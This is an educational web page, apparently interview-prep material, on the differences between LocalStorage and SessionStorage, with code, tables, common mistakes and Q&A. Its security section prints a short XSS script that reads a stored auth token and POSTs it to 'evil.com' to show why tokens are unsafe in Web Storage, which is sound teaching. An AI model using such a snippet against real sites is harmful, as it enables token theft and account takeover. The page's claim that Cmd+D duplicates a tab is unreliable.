LocalStorage vs SessionStorage
Understand the two browser storage APIs that every frontend developer uses daily. Learn when data should persist forever vs disappear on tab close, why storing tokens in either is risky, and how to make the right storage choice in interviews.
Table of Contents
Overview
Browsers provide two built-in key-value storage APIs: LocalStorage and SessionStorage. Both store string data on the client side with zero network requests, but they differ in one critical way — lifetime. LocalStorage persists until explicitly deleted (survives tab close, browser restart, even system reboot). SessionStorage is scoped to a single tab and cleared when that tab closes.
Together they form the Web Storage API — a synchronous, origin-scoped storage mechanism with ~5-10MB capacity per origin. They're the go-to solution for lightweight client-side data: theme preferences, form drafts, UI state, feature flags. But they come with real security limitations — both are accessible to any JavaScript running on the page, making them vulnerable to XSS attacks.
Interviewers love this topic because it tests whether you understand storage trade-offs: persistence vs security, convenience vs risk, and when to use Web Storage vs cookies vs IndexedDB.
Why this matters
"Where would you store a JWT token?" and "What's the difference between LocalStorage and SessionStorage?" are standard interview questions. The answer reveals whether you understand browser security, data lifecycle, and storage trade-offs.
The Problem: Where to Store Data
Frontend applications constantly need to store data on the client — but different data has different requirements. Picking the wrong storage mechanism leads to security vulnerabilities, broken UX, or unnecessary complexity.
Persistence Needs
Should the data survive a page refresh? A tab close? A browser restart? Theme preferences should persist forever. A checkout flow's step number should not.
Security Needs
Is the data sensitive? Auth tokens, personal info, and payment data need protection from XSS. A dark mode toggle does not. The storage choice directly affects risk.
Scope Needs
Should the data be shared across tabs? LocalStorage is shared — change theme in one tab, all tabs update. SessionStorage is isolated — each tab has its own copy.
Data to store Persist? Shared? Sensitive? Best choice ───────────────────────────────────────────────────────────────────────── Theme preference (dark) Forever Yes No LocalStorage Language selection Forever Yes No LocalStorage Form draft (unsaved) Tab only No Maybe SessionStorage Checkout step number Tab only No No SessionStorage Auth token (JWT) Session Yes YES ⚠️ HttpOnly Cookie Shopping cart Forever Yes No LocalStorage Wizard/multi-step state Tab only No No SessionStorage Feature flags Forever Yes No LocalStorage Redirect URL after login Tab only No No SessionStorage User profile cache Forever Yes Maybe LocalStorage (public data only)
The decision framework
Ask three questions: (1) Should it persist after tab close? Yes → LocalStorage. No → SessionStorage. (2) Is it sensitive? Yes → neither — use HttpOnly cookies. (3) Does it need to be shared across tabs? Yes → LocalStorage. No → SessionStorage.
What Is LocalStorage?
LocalStorage is a persistent key-value store scoped to the origin (protocol + domain + port). Data stored in LocalStorage has no expiration — it remains until your code explicitly removes it or the user clears browser data. It's shared across all tabs and windows of the same origin.
// Store a value localStorage.setItem("theme", "dark"); // Retrieve a value const theme = localStorage.getItem("theme"); // "dark" // Store an object (must serialize to string) const prefs = { fontSize: 16, language: "en", sidebar: true }; localStorage.setItem("preferences", JSON.stringify(prefs)); // Retrieve and parse the object const saved = JSON.parse(localStorage.getItem("preferences")); console.log(saved.fontSize); // 16 // Remove a specific key localStorage.removeItem("theme"); // Clear everything for this origin localStorage.clear(); // Check how many items are stored console.log(localStorage.length); // number of keys
Key Characteristics
- →Persistent — data survives tab close, browser restart, system reboot
- →Origin-scoped — https://example.com can't read data from https://other.com
- →Shared across tabs — all tabs on the same origin see the same data
- →Synchronous API — reads and writes block the main thread
- →String-only — values must be strings (use JSON.stringify for objects)
- →~5-10MB limit per origin (varies by browser)
- →No expiration — data stays until explicitly removed
The storage event
When one tab writes to LocalStorage, other tabs on the same origin receive a storage event. This enables cross-tab communication — change the theme in one tab and all tabs can react. SessionStorage does not fire this event (it's tab-isolated).
What Is SessionStorage?
SessionStorage is a tab-scoped key-value store. It has the same API as LocalStorage, but data is isolated to the specific browser tab that created it and is cleared when that tab closes. Opening the same URL in a new tab creates a fresh, empty SessionStorage.
// Store the current step in a multi-step form sessionStorage.setItem("checkoutStep", "2"); // Retrieve it const step = sessionStorage.getItem("checkoutStep"); // "2" // Store temporary form data const formDraft = { name: "Jane", email: "jane@example.com" }; sessionStorage.setItem("formDraft", JSON.stringify(formDraft)); // Retrieve and parse const draft = JSON.parse(sessionStorage.getItem("formDraft")); console.log(draft.name); // "Jane" // Remove a specific key sessionStorage.removeItem("checkoutStep"); // Clear everything for this tab sessionStorage.clear(); // Behavior: // - Close this tab → all sessionStorage data is gone // - Open same URL in new tab → empty sessionStorage // - Refresh this tab → sessionStorage is preserved ✅ // - Duplicate tab (Cmd+D) → new tab gets a COPY of sessionStorage
Key Characteristics
- →Tab-scoped — each tab has its own isolated storage
- →Cleared on tab close — data does not persist across sessions
- →Survives page refresh — data persists within the same tab session
- →Not shared across tabs — Tab A can't read Tab B's sessionStorage
- →Origin-scoped — same origin restriction as LocalStorage
- →Synchronous API — same methods as LocalStorage
- →~5-10MB limit per origin per tab
- →No storage event across tabs — changes are invisible to other tabs
Duplicate tab behavior
When a user duplicates a tab (Cmd+D / Ctrl+D), the new tab gets a copy of the original tab's SessionStorage at that moment. After that, the two tabs are independent — changes in one don't affect the other. This is a common interview gotcha.
Key Differences
This is the section interviewers care about most. You need to clearly articulate the differences and explain when each is appropriate.
| LocalStorage | SessionStorage | |
|---|---|---|
| Lifetime | Permanent — until explicitly deleted | Tab session — cleared when tab closes |
| Scope | Shared across all tabs (same origin) | Isolated to a single tab |
| Survives refresh? | Yes | Yes |
| Survives tab close? | Yes | No — data is deleted |
| Survives browser restart? | Yes | No |
| Cross-tab communication | Yes (storage event fires in other tabs) | No (changes invisible to other tabs) |
| Storage limit | ~5-10MB per origin | ~5-10MB per origin per tab |
| API | Identical (setItem, getItem, removeItem, clear) | Identical (setItem, getItem, removeItem, clear) |
| XSS vulnerable? | Yes — any JS on the page can read it | Yes — any JS on the page can read it |
| Best for | Preferences, settings, non-sensitive persistent data | Temporary state, form drafts, wizard steps |
Scenario: User opens Tab A, stores data, then opens Tab B LocalStorage: Tab A: localStorage.setItem("theme", "dark") Tab B: localStorage.getItem("theme") → "dark" ✅ Shared! Close Tab A: data still exists Close Tab B: data still exists Restart browser: data still exists SessionStorage: Tab A: sessionStorage.setItem("step", "3") Tab B: sessionStorage.getItem("step") → null ❌ Not shared! Close Tab A: data is deleted Tab B: unaffected (has its own storage) Restart browser: all sessionStorage is gone
Same API, different behavior
The code is identical — just swap localStorage for sessionStorage. The difference is entirely in lifetime and scope. This makes it easy to switch between them, but also easy to pick the wrong one if you don't think about the data's lifecycle.
API & Usage
Both LocalStorage and SessionStorage share the exact same API. The methods are simple, but there are important patterns for handling JSON data and errors.
// ─── Core Methods (same for both) ─────────────── // setItem(key, value) — store a string value localStorage.setItem("username", "jane_doe"); sessionStorage.setItem("currentStep", "2"); // getItem(key) — retrieve a value (returns null if not found) const user = localStorage.getItem("username"); // "jane_doe" const missing = localStorage.getItem("nonexistent"); // null // removeItem(key) — delete a specific key localStorage.removeItem("username"); // clear() — delete ALL keys for this origin localStorage.clear(); // length — number of stored keys console.log(localStorage.length); // key(index) — get the key name at a given index console.log(localStorage.key(0)); // first key name
Working with Objects (JSON Pattern)
// Web Storage only stores strings. // For objects/arrays, use JSON.stringify and JSON.parse. // ─── Safe Storage Helper ──────────────────────── function setJSON(storage, key, value) { try { storage.setItem(key, JSON.stringify(value)); } catch (e) { // QuotaExceededError — storage is full console.error("Storage full:", e); } } function getJSON(storage, key, fallback = null) { try { const item = storage.getItem(key); return item ? JSON.parse(item) : fallback; } catch (e) { // Invalid JSON in storage console.error("Parse error:", e); return fallback; } } // Usage: setJSON(localStorage, "cart", [ { id: 1, name: "Shoes", qty: 2 }, { id: 2, name: "Shirt", qty: 1 }, ]); const cart = getJSON(localStorage, "cart", []); console.log(cart[0].name); // "Shoes" // Always provide a fallback for missing/corrupt data const prefs = getJSON(localStorage, "preferences", { theme: "light", fontSize: 14, });
Cross-Tab Communication (storage event)
// The "storage" event fires in OTHER tabs when localStorage changes. // It does NOT fire in the tab that made the change. // SessionStorage does NOT trigger this event. window.addEventListener("storage", (event) => { console.log("Key changed:", event.key); console.log("Old value:", event.oldValue); console.log("New value:", event.newValue); console.log("URL:", event.url); // React to theme change from another tab if (event.key === "theme") { document.body.className = event.newValue; // "dark" or "light" } }); // Tab A: localStorage.setItem("theme", "dark"); // Tab B: storage event fires → { key: "theme", newValue: "dark" } // Tab B can update its UI without polling or refreshing
Error handling matters
Always wrap storage operations in try/catch. Storage can throw QuotaExceededError when full, and JSON.parse can throw on corrupt data. In private/incognito mode, some browsers restrict or disable storage entirely.
Real-World Use Cases
The right storage choice depends on the data's lifecycle. Here are concrete examples of when to use each.
LocalStorage — Persistent Data
| Use Case | Why LocalStorage | Example |
|---|---|---|
| Theme preference | Should persist across sessions and tabs | setItem("theme", "dark") |
| Language selection | User shouldn't re-select on every visit | setItem("lang", "fr") |
| Shopping cart | Should survive tab close so items aren't lost | setItem("cart", JSON.stringify(items)) |
| Feature flags | Persist until next fetch from server | setItem("flags", JSON.stringify(flags)) |
| Onboarding completed | Don't show onboarding again after completion | setItem("onboarded", "true") |
| Recently viewed items | Persist across sessions for recommendations | setItem("recent", JSON.stringify(ids)) |
SessionStorage — Temporary Data
| Use Case | Why SessionStorage | Example |
|---|---|---|
| Multi-step form state | Should reset if user opens a new tab | setItem("checkoutStep", "2") |
| Form draft (unsaved) | Temporary — don't persist stale drafts forever | setItem("formDraft", JSON.stringify(data)) |
| Redirect URL after login | Only needed for this tab's login flow | setItem("redirectTo", "/dashboard") |
| Scroll position | Restore scroll on back navigation within this tab | setItem("scrollY", window.scrollY) |
| One-time notification dismissed | Show again in new tabs but not on refresh | setItem("bannerDismissed", "true") |
| Search filters (temporary) | Reset when user starts a new session | setItem("filters", JSON.stringify(filters)) |
// Theme toggle that syncs across all tabs function setTheme(theme) { document.documentElement.setAttribute("data-theme", theme); localStorage.setItem("theme", theme); } // Apply saved theme on page load const savedTheme = localStorage.getItem("theme") || "light"; setTheme(savedTheme); // Listen for theme changes from other tabs window.addEventListener("storage", (e) => { if (e.key === "theme" && e.newValue) { document.documentElement.setAttribute("data-theme", e.newValue); } }); // Toggle button handler themeButton.addEventListener("click", () => { const current = localStorage.getItem("theme") || "light"; setTheme(current === "light" ? "dark" : "light"); }); // Result: click toggle in Tab A → Tab B, C, D all switch theme instantly
The cart dilemma
Shopping carts are a classic debate. LocalStorage keeps the cart if the user closes the browser and comes back later (good UX). But if the user is on a shared computer, the next person sees the previous user's cart (bad UX). Many e-commerce sites use server-side cart storage tied to the user account, with LocalStorage as a fallback for anonymous users.
Security Considerations
This is the most important section for interviews. Both LocalStorage and SessionStorage have the same security model — and the same vulnerability. Understanding this is critical for making safe storage decisions.
The XSS Problem
// Any JavaScript running on your page can read ALL of Web Storage. // This includes: // - Your application code ✅ // - Third-party scripts (analytics, ads, chat widgets) ⚠️ // - Injected scripts from XSS vulnerabilities ❌ // If an attacker injects this script via XSS: const token = localStorage.getItem("authToken"); fetch("https://evil.com/steal", { method: "POST", body: JSON.stringify({ token }), }); // The attacker now has the user's auth token. // They can impersonate the user, access their account, // and perform any action the token allows. // This applies to BOTH localStorage AND sessionStorage. // There is no way to protect Web Storage from JavaScript access.
| Storage | XSS Accessible? | Sent with Requests? | HttpOnly? |
|---|---|---|---|
| LocalStorage | Yes — any JS can read it | No — must be added manually | No — always accessible to JS |
| SessionStorage | Yes — any JS can read it | No — must be added manually | No — always accessible to JS |
| HttpOnly Cookie | No — invisible to JS | Yes — sent automatically | Yes — browser enforces it |
Auth Token Storage: The Trade-offs
Where should you store auth tokens (JWT)? Option 1: LocalStorage ✅ Easy to use — just setItem/getItem ✅ Persists across tabs and sessions ❌ XSS can steal the token ❌ Token stays forever until you remove it → Use only if XSS risk is very low and convenience matters Option 2: SessionStorage ✅ Cleared on tab close (limits exposure window) ❌ XSS can still steal it while the tab is open ❌ User must re-login in every new tab → Slightly better than LocalStorage, but still vulnerable Option 3: HttpOnly Cookie (RECOMMENDED) ✅ Invisible to JavaScript — XSS cannot read it ✅ Sent automatically with requests (no manual header) ✅ Can set Secure, SameSite, and expiration ❌ Vulnerable to CSRF (mitigate with SameSite + CSRF tokens) ❌ Slightly more complex server setup → Best option for auth tokens in most applications Option 4: In-memory variable (most secure, least convenient) ✅ Not persisted anywhere — gone on refresh ✅ XSS can't read it from storage ❌ Lost on page refresh — user must re-authenticate → Use for highest-security applications (banking)
The interview answer
"I would store auth tokens in HttpOnly cookies with Secure and SameSite flags. Web Storage (LocalStorage/SessionStorage) is accessible to any JavaScript on the page, making it vulnerable to XSS. HttpOnly cookies are invisible to JavaScript, so even if an XSS attack occurs, the token can't be stolen. I'd mitigate CSRF with SameSite=Strict and a CSRF token."
Performance Insights
Web Storage is fast for small reads/writes, but its synchronous API and string serialization have performance implications you should understand.
Zero Network Overhead
Web Storage reads are instant — data is on disk, no HTTP request needed. Reading a theme preference from LocalStorage takes <1ms vs 200ms+ for an API call. Use it to avoid unnecessary network requests for non-sensitive data.
Synchronous API Blocks Main Thread
setItem and getItem are synchronous — they block JavaScript execution until complete. For small values this is negligible (<1ms). For large values (100KB+), serialization and disk I/O can cause visible jank. Keep stored values small.
JSON Serialization Cost
JSON.stringify on write and JSON.parse on read add CPU cost proportional to data size. A 1KB object is instant. A 500KB object takes 5-10ms to parse — enough to drop a frame. Store only what you need.
Use IndexedDB for Large Data
If you need to store more than ~100KB of structured data, use IndexedDB instead. It has an asynchronous API that doesn't block the main thread, supports indexes for fast queries, and has much higher storage limits (50MB+).
Batch Reads on Page Load
If you read multiple keys on page load, batch them into a single stored object instead of multiple getItem calls. One JSON.parse of a combined object is faster than 10 separate getItem + parse calls.
| Operation | Small Value (100B) | Medium Value (10KB) | Large Value (500KB) |
|---|---|---|---|
| setItem | <0.1ms | ~0.5ms | ~5-10ms ⚠️ |
| getItem | <0.1ms | ~0.3ms | ~3-5ms ⚠️ |
| JSON.stringify | <0.1ms | ~0.2ms | ~5-10ms ⚠️ |
| JSON.parse | <0.1ms | ~0.3ms | ~5-15ms ⚠️ |
Rule of thumb
Web Storage is great for small, simple data (under 50KB total). For anything larger, more complex, or performance-sensitive, use IndexedDB (async, indexed, higher limits) or an in-memory cache (fastest, but lost on refresh).
Common Mistakes
Storing auth tokens in LocalStorage
JWTs and session tokens in LocalStorage are accessible to any JavaScript on the page — including XSS-injected scripts. An attacker can steal the token and impersonate the user.
✅Store auth tokens in HttpOnly cookies with Secure and SameSite flags. HttpOnly cookies are invisible to JavaScript, preventing XSS token theft. Mitigate CSRF with SameSite=Strict.
Not handling JSON parse errors
Calling JSON.parse(localStorage.getItem('key')) throws if the stored value is not valid JSON (e.g., corrupted data, plain string, or null). This crashes your app.
✅Always wrap JSON.parse in try/catch and provide a fallback value. Create a helper function: getJSON(key, fallback) that handles null, parse errors, and missing keys gracefully.
Storing large amounts of data
Web Storage has a ~5-10MB limit and a synchronous API. Storing 500KB+ of data causes visible jank during serialization. Exceeding the limit throws QuotaExceededError.
✅Keep Web Storage under 50KB total. For larger data, use IndexedDB (async, 50MB+ limit). For temporary large data, consider in-memory storage with a persistence fallback.
Assuming SessionStorage persists across tabs
Developers often expect sessionStorage.setItem in Tab A to be readable in Tab B. It's not — SessionStorage is completely isolated per tab. This causes bugs in multi-tab workflows.
✅If data needs to be shared across tabs, use LocalStorage (with the storage event for sync). If it must be tab-isolated, SessionStorage is correct — just be aware of the limitation.
No expiration strategy for LocalStorage
LocalStorage data never expires. Old data accumulates over months/years, wasting space and potentially causing bugs when your app's data format changes.
✅Store a timestamp alongside your data and check it on read. If expired, delete and re-fetch. Or store a version number and clear storage when your app version changes.
Interview Questions
Q:What is the difference between LocalStorage and SessionStorage?
A: Both are key-value storage APIs with the same methods (setItem, getItem, removeItem, clear). The key difference is lifetime and scope: LocalStorage persists permanently and is shared across all tabs on the same origin. SessionStorage is scoped to a single tab and cleared when that tab closes. Both survive page refreshes. Both are vulnerable to XSS. Use LocalStorage for persistent preferences, SessionStorage for temporary tab-specific state.
Q:Is it safe to store JWT tokens in LocalStorage?
A: No — it's generally not recommended. LocalStorage is accessible to any JavaScript running on the page, including scripts injected via XSS attacks. An attacker can read the token with localStorage.getItem('token') and send it to their server. The safer alternative is HttpOnly cookies, which are invisible to JavaScript. If you must use LocalStorage (e.g., for a SPA with token-based auth), ensure strong XSS prevention: CSP headers, input sanitization, and no inline scripts.
Q:What are the storage limits for Web Storage?
A: Both LocalStorage and SessionStorage have a limit of approximately 5-10MB per origin, depending on the browser. Chrome and Firefox allow ~5MB, Safari allows ~5MB. The limit is per origin (protocol + domain + port), not per page. Exceeding the limit throws a QuotaExceededError. For larger storage needs, use IndexedDB (50MB+ with user permission) or the Cache API.
Q:How does the storage event work for cross-tab communication?
A: When one tab writes to LocalStorage (setItem, removeItem, clear), all OTHER tabs on the same origin receive a 'storage' event with the key, oldValue, newValue, and URL. The tab that made the change does NOT receive the event. This enables cross-tab sync — e.g., changing theme in one tab updates all tabs. SessionStorage does NOT fire storage events because it's tab-isolated.
Q:When would you use SessionStorage over LocalStorage?
A: Use SessionStorage when data should not persist beyond the current tab session: multi-step form state (reset if user opens new tab), redirect URL after login (only needed for this tab's flow), temporary UI state (scroll position, expanded sections), one-time notifications that should reappear in new tabs. The key question: should this data survive a tab close? No → SessionStorage. Yes → LocalStorage.
Q:What happens to SessionStorage when you duplicate a tab?
A: When a user duplicates a tab (Cmd+D), the new tab receives a COPY of the original tab's SessionStorage at that moment. After duplication, the two tabs are completely independent — changes in one don't affect the other. This is a common interview gotcha because it's the one case where SessionStorage 'transfers' between tabs.
Q:How would you implement expiring data in LocalStorage?
A: Store a timestamp alongside the data: setItem('cache', JSON.stringify({ data: value, expiry: Date.now() + 3600000 })). On read, check if Date.now() > expiry. If expired, remove the key and return null. This mimics max-age behavior for LocalStorage. Alternatively, store a version number and clear all storage when your app version changes.
Q:Compare Web Storage, Cookies, and IndexedDB.
A: Web Storage (5-10MB): simple key-value strings, synchronous, no server communication, XSS accessible. Best for preferences and UI state. Cookies (4KB): sent with every HTTP request, supports HttpOnly (XSS-safe), has expiration, domain/path scoping. Best for auth tokens. IndexedDB (50MB+): async, structured data with indexes, transactions, supports binary data. Best for large datasets, offline apps, and complex queries.
Practice Section
The Theme Preference
You're building a dark mode toggle. The user expects their theme choice to persist across browser restarts and apply to all open tabs immediately. Which storage would you use and how would you implement cross-tab sync?
Answer: Use LocalStorage — it persists across sessions and is shared across tabs. Store the theme with localStorage.setItem('theme', 'dark'). For cross-tab sync, listen for the 'storage' event: window.addEventListener('storage', (e) => { if (e.key === 'theme') applyTheme(e.newValue) }). This fires in all other tabs when the theme changes, enabling instant sync without polling.
The Multi-Step Checkout
Your checkout flow has 4 steps. If the user refreshes the page, they should stay on their current step. But if they open the checkout in a new tab, it should start from step 1. Where do you store the step number?
Answer: Use SessionStorage — it survives page refresh (user stays on step 3 after refresh) but is cleared on tab close and not shared across tabs (new tab starts at step 1). Store with sessionStorage.setItem('checkoutStep', '3'). On page load, read the step and restore the UI. This prevents the confusing scenario where opening checkout in a new tab resumes someone else's progress.
The Token Theft
A security audit found that your app stores JWT tokens in LocalStorage. The auditor says this is a vulnerability. Your team argues it's convenient and works fine. Who is right, and what would you recommend?
Answer: The auditor is right. LocalStorage is accessible to any JavaScript on the page — if an XSS vulnerability exists (even in a third-party script), the attacker can steal the token with localStorage.getItem('token'). Recommend migrating to HttpOnly cookies with Secure and SameSite=Strict flags. HttpOnly cookies are invisible to JavaScript, preventing XSS token theft. Mitigate CSRF with SameSite and a CSRF token.
The Stale Cache
Your app caches API responses in LocalStorage to avoid redundant network requests. After a backend update, users see outdated data because LocalStorage never expires. How would you fix this?
Answer: Implement an expiration strategy: store data with a timestamp — { data: response, expiry: Date.now() + 300000 } (5 min). On read, check if expired and re-fetch if so. Alternatively, store an app version number and clear all cached data when the version changes. For critical data, use Cache-Control headers and let the browser's HTTP cache handle expiration instead of manual LocalStorage caching.
The Storage Quota
Users on Safari report that your app crashes with an error when they try to save preferences. The error is QuotaExceededError. Your app stores user activity logs in LocalStorage that grow over time. How do you fix this?
Answer: Safari has a strict ~5MB LocalStorage limit. Activity logs grow unbounded and eventually exceed it. Fix: (1) Move large data to IndexedDB (50MB+ limit, async API). (2) Implement a size cap — when logs exceed 1MB, trim the oldest entries. (3) Wrap setItem in try/catch to handle QuotaExceededError gracefully. (4) Only store essential data in LocalStorage — preferences and small state, not logs or analytics.
Cheat Sheet
Quick Revision Cheat Sheet
LocalStorage: Persistent key-value store. Survives tab close, browser restart. Shared across all tabs (same origin). ~5-10MB limit. No expiration. Best for: preferences, settings, non-sensitive persistent data.
SessionStorage: Tab-scoped key-value store. Cleared on tab close. Not shared across tabs. Survives page refresh. ~5-10MB per tab. Best for: form drafts, wizard steps, temporary UI state.
Same API: setItem(key, value), getItem(key), removeItem(key), clear(), length, key(index). Both store strings only — use JSON.stringify/parse for objects.
XSS Vulnerability: Both are accessible to ANY JavaScript on the page. Never store auth tokens, passwords, or sensitive data. Use HttpOnly cookies for auth tokens instead.
Storage Event: LocalStorage fires 'storage' event in OTHER tabs when data changes. Enables cross-tab sync (theme, language). SessionStorage does NOT fire this event.
Auth Token Storage: HttpOnly Cookie (recommended) > SessionStorage > LocalStorage. HttpOnly cookies are invisible to JS, preventing XSS theft. Add Secure + SameSite flags.
Storage Limits: Web Storage: ~5-10MB per origin. Cookies: ~4KB. IndexedDB: 50MB+ (with permission). Use IndexedDB for large data, Web Storage for small key-value pairs.
JSON Pattern: Always wrap JSON.parse in try/catch with a fallback. Always wrap setItem in try/catch for QuotaExceededError. Create helper functions: setJSON() and getJSON().
Expiration Strategy: LocalStorage has no built-in expiration. Store { data, expiry: Date.now() + ms } and check on read. Or store an app version and clear on version change.
Tab Duplication: Duplicating a tab (Cmd+D) copies SessionStorage to the new tab. After that, the two tabs are independent. Common interview gotcha.
Decision Framework: Persist after tab close? → LocalStorage. Tab-only? → SessionStorage. Sensitive? → HttpOnly Cookie. Large data? → IndexedDB. Sent with requests? → Cookie.
Performance: Synchronous API — blocks main thread. Fast for small values (<1ms). Slow for large values (500KB+ = 5-10ms). Keep total storage under 50KB for best performance.